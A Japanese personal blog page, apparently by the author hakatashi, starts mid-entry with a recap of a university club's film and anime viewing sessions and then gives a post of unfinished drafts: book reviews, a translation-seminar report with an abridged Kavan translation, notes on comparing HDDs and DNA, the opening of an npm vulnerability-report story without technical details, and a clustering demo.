2016年9月 『君の名は。』 @新宿バルト9
もはや語る必要のないアニメ映画の金字塔。この映画が世間でバズり始めたのが確か11月ごろだと記憶しているがそれよりも一足早い鑑賞会となった*1。
この時の開催は、映画を鑑賞したあと夕餉を共にして映画について語り合う時間を設けたのが非常によかった。映画館が新宿だったというのもあって (また映画が考察しがいのあるシナリオだったのもあって) 考察が進んだのをよく覚えている。教訓として映画を鑑賞したあとはそのまま帰らずに一緒にご飯を食べるのが大事だと学んだ。
2018年2月 『さよならの朝に約束の花をかざろう』 @新宿バルト9
少し時期が飛んで2017年度冬の分科会。夏に映画鑑賞分科会を開催しようという機運が持ち上がり、『打ち上げ花火、下から見るか? 横から見るか?』か『関ヶ原』を見ようかという話が出ていたものの、「打ち上げ花火」は世評が芳しくなかったためそのまま流れてしまった*2。
純ファンタジー作品でこれまでとは毛色の違う作品だったが楽しむことができた。いろんな意味で重厚なストーリーに仕上げられており、115分という比較的長尺ながら飽きさせない構成が見事だった。機会があればぜひもう一度観たい映画の1つ。
2018年9月 『カメラを止めるな!』 @TOHOシネマズ上野
最新の映画鑑賞分科会であり初めての非アニメ映画。観る時期が時期だったため若干乗り遅れた感があるがちゃんと見るべき時に見れたので良かった。
何を言ってもネタバレになるとして有名な映画だが、感想としてはやはり実によい映画だった。博多市としてはその表現手法にやや苦手を感じる部分があったが、それを差し引いても完成された作品であることに間違い無い。
鑑賞メンバーが全員本郷生だったため鑑賞後には本郷に赴きのんびりと作品の感想を語り合った。
アニメ鑑賞分科会
アニメ鑑賞分科会は今年度に入ってから成立した比較的新しいイベントである。その内容は映画鑑賞分科会とは異なり、適当な場所で1作品分のアニメを通し見する (いわゆる一挙放送) というものである。そもそもそういう目的で使える場所がほとんどないため、今のところ本郷キャンパスの地下空間で毎度開催されている。
鑑賞環境は劇場とは比べるべくもないが、地下にはソファがあり専用のスピーカーも調達したため割と快適な環境でアニメを見られている。見る作品は新作というよりは往年の名作といった趣のものが多く、こちらはこちらで楽しいイベントになっている。
2018年8月『Angel Beats!』
@kcz146が受験時代に Angel Beats! を観た思い出話を聞いて博多市が立案したイベント。博多市にとってもリアタイで通して見た初めてのアニメなので感慨深く、話に花を咲かせることができた。
2018年10月『STEINS;GATE』
先述の@kcz146がSTEINS;GATE未視聴ということで開催した第2回アニメ鑑賞分科会。STEINS;GATEはプログラミングとかに関わる人は絶対に見るべきアニメだと思う。前日に部長の@akouryyを誑かして急遽参戦させた。
他と違い2クールアニメということで2日間に分割して鑑賞する案もあったが、ストーリーの性質上2分割しないほうがいいと博多市が主張したので、参加者は早朝から深夜まで休みなく画面を見続けることになった。結果的に良かったと思うが果てしなく疲れたのであまり頻繁にはできないと思われる。
2018年12月『Serial Experiments Lain』
なんのことはない、このエントリが公開される本日12月8日に開催予定の鑑賞会である。
次は誰も見たことがないアニメを選ぼうということで、ハッカーが絡む (らしい) 往年の名作 (らしい) であるLainを観ることになった。当然博多市も未視聴なのでどんな会になるのか全く想像つかない。
視聴した感想は、翌日のエントリで公開する予定なので、それも楽しみにしていただきたい。
まとめ
こうして振り返ってみると、いろんな作品をTSGメンバーとともに鑑賞してきた。こういう鑑賞会は本当にいい文化で、とくに映画鑑賞分科会は、博多市の人生に「映画を観る習慣」を与えてくれたものの1つなので、その存在には感謝してもしきれない。読者諸兄もぜひ仲間内での作品鑑賞会を積極的に開くことをお勧めする。
また、TSG民は次に鑑賞する映画、アニメをいつでも探し求めているので、布教したい作品などあったらぜひ教えてもらいたい。
下書き供養 (書評2016、翻訳ゼミレビュー、HDDとDNAの比較表を作ってみた、npm脆弱性報告、艦娘教師なし学習)
※この記事は下書き供養 Advent Calendar 2018 3日目の記事です。
歳末が近い。次の年に厄を引き継がないためにも、もはや続きを書く予定のない下書きを下書きのままいくつか供養する。
2016年の書評
いつの間にか2017年が始まっていたので、突発的に、hakatashiが2016年に読んだ古典・小説・漫画・ゲーム・二次創作・SSなどから、特に心に響いたものをジャンルを問わずに紹介しようと思う(ただしフィクションに限る)。
ネタバレになりそうな部分は白文字で書いてあります。
横山秀夫『クライマーズ・ハイ』
五百二十四人──
部屋が一瞬、静まり返った。
誰もがその数字の大きさを具体的に思い浮かべることができた。北関の社員総数が五百十一人だった。会社そのものを消滅させ、なお十三の空席を余す数。
横山秀夫作品の中でも一二を争う名作。1985年に発生した、日本航空123便墜落事故を題材とした物語であり、当時航空機が墜落した群馬県の地方新聞記者として現場を取材した著者による壮絶な体験が礎となっている。
力強く妙味のある文章とリアルな筆致、そしてほろ苦くも人間性を感じさせる結末が深く刺さった。激情、プライド、失望、欲求。そういった人間の飾らない感情が胎動する文章の中に生きたまま放り込まれた、怪物のような作品である。
また、新聞記者という、ともすれば地味になってしまいそうな題材からこれだけの作品を組み上げたことにも驚きを隠せない。日航事故に関する記録文書としてもおすすめしたい一作。
仲谷鳰『やがて君になる』
2016年のベスト・オブ・百合。既にあらゆる場所で取り上げられているので、もはや語ることは無いくらいだが、こういった作品がたまに現れてくれるおかげで百合業界もしばらく安泰だと思わせてくれる、そんな作品である。
かわいい。そして苦しい。愛することと愛されることにまつわる喜びと苦しみを、豊かな感情を含んだ筆触で鮮やかに描き出した作品。百合入門としてもどうぞ。
OVER「Coda ~棘~」
※成人向けゲームです。
さまざまな偶然を経て出会った2001年発売の18禁ゲーム。正直に言うと購入した際はあまり期待していなかったのだが、色々な意味で期待を裏切って心の防壁を乗り越えてくる怪作だった。
その物語は……これは付属のマニュアルにも書いてあることだが、痛い。とにかく痛い。稀代の痛ゲーである。特に作中で流れる、バッハの「平均律クラヴィーア曲集第1巻第1番プレリュード」のインパクトは凄まじく、僕は今なおこの曲をどこかで耳にするたび心拍数が僅かに上昇する。
すでに販売終了しておりダウンロード版もないため入手が難しく、しかも最近のWindowsでは動かないためプレイまでのハードルは格段に高いが、痛いゲームを所望の人には強く推薦したい。ただ一点、同時期に発売された「君が望む永遠」をプレイ済みの人にはおすすめしないということだけ添えておく。また、パッケージ裏に書いてあるあらすじは多分にネタバレを含むため、個人的には読まずにプレイすることをおすすめする。
エーリヒ・ケストナー『飛ぶ教室』 丘沢静也訳
児童文学の古典的名作。「ギムナジウム物」の作品は何作も読んできたが、本来の(?)ギムナジウムが登場する小説はこれが初めてである。翻訳はちゃんと読み比べていないが、少なくとも光文社古典新訳文庫の翻訳は日本語に余計な引っ掛かりもなく良かったのではないかと思う(ちなみにこの本は光文社古典新訳文庫のベストセラー第1位である)。
クリスマスに寄宿舎で披露される演劇『飛ぶ教室』と、それを演じる少年たちを巡る大小の事件を描いた物語である。プロローグでも作者によって触れられているが、誰もが経験しながら忘れてしまう童心を、避けられない苦味や酸味と一緒に的確に描き出している。どこか啓蒙的でありながら人間臭く寓話性を感じさせない、80年前の作品にも関わらず新しさを感じる作品である。時間があれば映画も見てみようと思う。
平「風の分身」
※R-18小説です。
※ゲーム「艦隊これくしょん」の二次創作です。
コダマナオコ『コキュートス』
こんなに 伊月が
好きなのに
どうして
無理なんだろう
なんだか
ショックだった
赤坂アカ『ib -インスタントバレット-』
大学のゼミで Anna Kavan の “I'm Wondering Where I Stand Now” を翻訳した
2015年度のAターム(秋学期)、東京大学の文学翻訳ゼミを受講してきたので、ここにそのレポートを書く。
そもそも東京大学の前期課程における「ゼミ」とは、正式には主題科目と呼ばれる講義群のことであり、今回受講したのはその中でも東京大学の教員が比較的自由に内容を設定できる全学自由研究ゼミナールに分類される講義である。東京大学の学生諸氏においては、シラバスの講義コード51100を参照されたい。
このゼミの目的は、英文学の翻訳を実践的に学ぶことである。そのために受講生は渡された課題文を翻訳して提出したり、出版社から招かれた翻訳本レーベルの編集者の話を聞いたりと、かなり充実したカリキュラムを受ける。提出した訳文は、Wordのコメント機能を使って全てみっちりと添削されて返ってくる。
そして、このゼミの最終課題として、自分で気に入った英語の文学作品をひとつ選び、それを二ヶ月あまりかけて、少しずつレビューを受けながら翻訳するというものがある*1。僕はアンナ・カヴァンの短編集 “My Soul in China” を購入し、その中から “I'm Wondering Where I Stand Now” を翻訳した。
僕がアンナ・カヴァンと出会ったのは昨年の3月、有名な『氷』のちくま文庫版が出版された時である。その時の衝撃に関してはまさしく言語を絶するが、それ以来『ジュリアとバズーカ』など彼女の作品に読み耽ると同時に、これまで敬遠しがちだった翻訳文学にも少しずつ歩み寄っていった。今回のゼミ受講もそのような経緯があってのことである。
自分がしがない理科生であるというのもあって翻訳課題はかなり骨が折れたが、教員のレビューを受けたり、訳文について討論したり、ピアレビューをしたりして完成した訳文は最終的にとても達成感に満ちたものになった。全体を通して非常に得るものの多いゼミだったと思う。聞けば今回が初めての開講とのことだったが、ぜひ次学期以降も開講して欲しいし、その際には後輩諸君にも自信を持って受講をお勧めしたい。多少人生が変わるかもしれない。
さて、そんなこんなで僕が制作したアンナ・カヴァンの翻訳文だが、残念ながら原文の著作権が存続しているため全文をここに公開することはできない。そのため引用という体で抄訳をここに記したいと思う。
『足下もおぼつかない(抄訳)』 アンナ・カヴァン、 高橋光輝 訳
ある日、このUFO男が私のもとを訪ねてきた。この男とは前に一度、ある社交界の会議で会ったことがあり、確かジッパーを晒したみすぼらしい人間だったとおぼろげに記憶している。職務中にこの男を部屋に入れたくはなかったが、彼は既に入り口に足を伸ばしていたため、私は丁重にご用件は何ですかと尋ねた。彼は非常にぴりぴりしていて、周りの様子も見えてないようだった。没個性な灰色のスーツと、だいぶ昔に親戚に編んでもらったかのような焦げ茶色のセーターを着ていて、こいつはUFOを笠に着たスパイなのではないかと思わせた。これほどに没個性な人間というのはスパイ以外に考えられなかった。だがもちろんスパイがこんなにぴりぴりすることはない。少なくともそれを表に出すことは。
「この『星空の家』という商いについて」彼は言った。「いくつか質問がある」冷淡な人間、さらに言うなら若干不愉快な人間であるようだ。仕草が気に食わない。こそこそしていて、非難めいている。それから、先ほどの陳述も腹立たしかったので、前に顔を合わせてからスコットランド・ヤードかBBCにでも加入したのか、と尋ねてみた。
「あなたが折しも関心を持っていたのは、私が思うに、質問ではなく、円盤ではなかったでしょうか」
彼はのそのそと歩き回り始めた。とてつもなく落ち着かない様子で、ぽかんと、あるいは反熱狂的感情に囚われたかのようにあちこちに触れてから、こう言った。「あなたの戦略は……もちろんクリケットのことではなく」そんなことは言っていないと言った。スポーツに関しては門外漢で、私をローズ[訳注1]に連れて行っても、イニング[訳注2]とウィケット[訳注3]の違いすらわからないことだろう。彼は歩きまわるのをやめ、私の前で立ち止まり、不細工な顔で私を凝視し、こう言った。「どうしてそれがあなたをみすみす見逃すなどと思っているんだ」私は沈黙を守ることによってその質問が無礼だということを伝えようとした。彼は異様な眼差しで私を見つめ続けたので、彼の精査が長引いていることも物ともせず、新聞を取り上げて彼の前に掲げ、私の書いた広告が読めるように折りたたんでみせた。これは私の最高傑作だ。
想像してみてください。オールダム[訳注4]かその辺りで一生を過ごしてきた人間が、目覚めたら新しい家にいて、窓の外には太陽系が燦然と輝いているのを。彼は自分の周りを、惑星が不可思議な順番で回転するのを見るでしょう。遠く離れた銀河系が、我々の銀河の中心から神秘的に何光年も遠ざかっていくのを見るでしょう。吹き流される星雲や、塵とガスが華々しい超新星爆発を起こすのを見るでしょう。この畏るべき壮観の中心で、運の良い購入者は心地よい隠れ家でゆったりとくつろぐでしょう。いかれた太陽が燃え上がり、海は干上がり、フライにされた地球がバラバラになって、宇宙全体が散り散りになっていく一方で、まったく金のかからなかったこの途方もない眺めをリラックスしながら観察するでしょう。
訳注1: ロンドンのウェストミンスター区に存在するローズクリケット場(Lord's Cricket Ground)を指す。クリケットの聖地と呼ばれている。
訳注2: クリケットの用語。攻撃番のこと。
訳注3: クリケットの用語。チームが守るゴールラインで、これをボールが超えると得点が入る。
訳注4: イングランド北西部に位置する街。この物語が書かれた1950年代から現代に至るまで、経済の落ち込んだ住宅街として知られている。
こんな調子で原文で6ページの短編を丸ごと訳した。最後の最後でメンターから誤訳との指摘を受けた部分も含まれているが、提出した原稿をそのまま写して持ってきたので堪忍してほしい。
このようにして提出された最終課題は、提出者全員の原稿をまとめて一つの冊子にされ、受講者全員に配られる。今思い返してみれば、教員もそうだが、受講者もレベルの高い講義だった。特に英文学への愛情が強く感じられた。僕などは先程も言ったとおり翻訳文学に関しては完全な素人なのだが、受講者の中にはオー・ヘンリーをこよなく愛する生徒や、村上春樹からフィッツジェラルドを知り彼の作品をほぼ読破した生徒や、ニンジャスレイヤーから翻訳の世界に興味を持った生徒などバリエーション豊かな生徒が集まり、そのぶん冊子も彩り豊かになった。
まあ、要するに何が言いたいかというと、この一学期間、非常に楽しいゼミだったということである。繰り返しになるが、このように充実したゼミなので、英文学や翻訳に興味がある東大生の後輩にはぜひ受講してほしい。もちろん来年以降開講されるかどうかは分からないが……。
「HDDとDNAの比較表を作ってみた」の解説
Twitterで何気なく呟いたツイートが思いのほか伸びてしまった。
HDDとDNAの比較表を作ってみた pic.twitter.com/85OdfHpaWa
— 博多市 (@hakatashi) 2016年3月28日
多くの人に見られるというのは恥ずかしくも有りがたいことで、多くの人から貴重な意見を得ることができた。実を言うとこの表は10分程度でちょちょいと調べた情報をもとに作ったものなので、正確性はかなり怪しい。よってここで訂正を兼ねて、いくつかの補足と解説を加えようと思う。
なお筆者は東京大学(中略)統合生命科学コースの内定生だったが、内定辞退の上留年という複雑な境遇によって社会の荒波に揉まれまくったので、決して生物学の知識があるわけではない。注意されたし。
記憶容量
このツイートのそもそもの着想は、「ヒトのDNAの情報量はバイト数に直すと1GBに満たない」という、細胞生物学の教員から聞いたヨモヤマ話が元になっている。
情報量の定義はシャノンの平均情報量によるものとし、ここでは4種類の塩基が塩基配列上に完全に独立かつ無作為に現れるものとする。このとき塩基1つの情報量は となる。実際には遺伝コードは冗長であり、さらにタンパク質の立体構造に縛られるので本来の情報量はもっと小さくなるはずだが、簡易的にはこれでよいだろう。
ヒトのDNAにはおよそ30億の塩基対が含まれている*2。(画像には書き忘れたが、ここで話しているのはすべてヒトのDNAの話である。)ここから単純にヒトのDNAが持つ情報量を計算すると、
となり、確かに1GBに満たない。
面白いのは、Twitter上でこの数字に対して「1GBも」という反応と「1GBしか」という反応が両方見られたことである。確かに半径わずか数μmの細胞核中にこの情報量が凝縮していることを考えると驚異的だが、ヒトという生命体の全体を考える際に、この1GBという数字は体感としてあまりにも小さいと考えるべきだろう。(細胞生命学の教員もそういう文脈で話をしていた。)ありとあらゆる人間の生命の神秘や脳機能、意識の発現などに必要な40億年の進化の結晶が、たかだかCD1枚分に収まってしまう。驚きである。
それはさておき、この表ではわかりやすさを重視して1GBに数字を切り上げておいた。HDDのほうは解説の必要はないだろう。
メモリタイプ
Twitter上の反応で最もツッコミが多かったのはこの部分である。HDDが性能として読み書き可能なのは自明だが、DNAも同様に書き込みが可能であるという意見が多く見られた。
ヒトのDNAの記録情報が変化する可能性としてまず考えられるのが、トランスフェクションによる遺伝子の組み換えである。これは通常人為的な遺伝子組み換えによって行われるが、まれにウイルスの作用によって外来の遺伝子が導入される場合がある。その顕著な例がHIVを含むレトロウイルスである。
また、細胞分裂におけるDNA複製の誤りなどによって結果的にDNAの記録情報が書き換わる場合がある。後述するがこれらの情報損失は遺伝子の再編成や欠失を引き起こし、特に致命的な場合にはこれが癌細胞の増殖に繋がることは言うまでもない。
いずれにせよ、生理的反応による能動的な作用ではないので、これを以てDNAが「書き込み可能」であると呼ぶのはかなり語弊があるように感じる。しかし、いずれ塩基配列が個体内において絶対不変のものではないことは注記しておいたほうがいいだろう。
シーケンシャルリード
現在流通している最新のHDDならシーケンシャルリードは100MBps程度だろう。ツイートでは単位を揃えるため1000000000bpsとしたが、1Gbpsと書いてもよかったかもしれない。
DNAのシーケンシャルリードだが、ここが最も悩んだ部分である。
とあるnpmモジュールの脆弱性を見つけて報告した話
今年4月、shell-quoteというnpmモジュールにちょっとやばげな脆弱性を見つけて報告し、つい先日nodesecurity.ioに勧告が掲載された。
Potential Command Injection | Node Security Platform
shell-quoteは知る人ぞ知るNode.jsの有名人substackが制作した大量のnpmモジュールの1つで、npmのダウンロードカウンターを見てみると月に約200万回ダウンロードされている。
CVSSは8.4で深刻度はレベルIIIと、かなり高めの値がついた。自分はセキュリティ専門家でない以上、脆弱性は日々のプログラミングの中で偶然に発見するものだと思っているが、このレベルの脆弱性に遭遇するのは人生でもなかなかないと思われるので、脆弱性を発見してから勧告が掲載されるまでの経緯を記しておこうと思う。
脆弱性を見つける
教師なし学習で艦娘を分類する
実はもう2週間くらい前の話だが、TSGという大学のサークルのPRML勉強会でkammusu-meansなるデモンストレーションを製作したのでここにも貼っつけておく。
だいぶ見た目が似通っていてよろしくないが、構想および実装はにとよんさんの以下の記事を大いに参考にさせて頂いた。感謝。
このデモンストレーションは、PRMLの第8章で解説されている「K-means法」と「混合ガウス分布のEMアルゴリズム」の2通りの手法を用いてゲーム「艦隊これくしょん」に登場する艦娘をクラスタリングする様子をデモンストレートする。アルゴリズムについての解説は同書および各種解説資料*3に譲り、本記事では実装する上での感想などを述べていく。
*1:なお、純粋に翻訳力を鍛えるという観点から、選ぶことができる作品は公の出版物において未訳のものに限られる。
*3:同勉強会ではネット上に転がるPRMLの解説資料を集約するリポジトリも作成したので、参考にされたし。